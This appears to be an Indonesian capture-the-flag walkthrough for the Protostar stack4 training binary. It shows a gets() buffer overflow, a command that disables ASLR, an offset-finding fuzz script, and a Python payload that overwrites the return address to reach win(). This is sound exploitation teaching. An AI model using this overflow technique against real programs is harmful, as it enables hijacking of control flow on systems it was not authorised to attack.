Protostar Stack 4
Alat dan Bahan
- Binary: stack4
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Binary
Ambil binary dari VM Protostar.
$ scp [email protected]:/opt/protostar/bin/stack4 $PWD
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
$ ./stack4
1
Program menerima input dari stdin
kemudian diproses melalui fungsi gets
yang vulnerable. Tujuan akhirnya adalah agar fungsi win
bisa dipanggil.
fsi.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Eksploitasi
$ ./fsi.sh vuln
...
74
75
76
...
SEGMENTATION FAULT on 76 BUFFER
...
Dengan jumlah buffer sebesar 76 byte program mengalami segmentation fault. Agar fungsi win
bisa dipanggil maka atur register IP menjadi alamat win
pada akhir payload.
$ nm stack4 | grep win
080483f4 T win
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully change
...